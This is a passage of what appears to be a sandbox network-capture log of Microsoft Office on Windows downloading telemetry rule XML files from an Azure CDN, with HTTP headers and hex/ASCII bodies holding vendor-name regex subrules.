<SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:04 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:04 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 0446fb47-b01e-0002-3b49-271b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114504Z-16849878b7898p5f6vryaqvp5800000002u0000000006tnz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:04 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:04 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:04 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fbaa75ab-301e-0020-3742-266299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114504Z-r197bdfb6b4g24ztpxkw4umce800000003kg0000000020pf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:04 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:05 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:05 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114505Z-16849878b78z2wx67pvzz63kdg00000000f0000000006qyx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:05 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:05 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 960fe732-901e-0016-4ad7-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114505Z-17c5cb586f6sqz6fff89etrx0800000001mg000000005cfe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:05 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114505Z-16849878b78nx5sne3fztmu6xc0000000320000000000aen x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:05 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114505Z-16849878b786jv8w2kpaf5zkqs00000000u0000000009urw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:05 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:05 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:05 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114505Z-16849878b78g2m84h2v9sta29000000000yg000000003ab4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:05 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:05 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:05 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 2897d81f-501e-005b-6528-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114505Z-r197bdfb6b4wmcgqdschtyp7yg00000001wg000000003rpp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:06 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:05 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:05 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 21f78716-701e-005c-7b46-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114505Z-r197bdfb6b4c8q4qvwwy2byzsw000000025000000000632n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:06 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:05 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114505Z-16849878b78xblwksrnkakc08w000000016000000000a3gz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:05 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:06 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114506Z-16849878b7867ttgfbpnfxt44s00000001tg00000000aa1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:06 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:06 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: de733a63-101e-00a2-1415-269f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114506Z-r197bdfb6b4hsj5bywyqk9r2xw00000003c00000000048p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 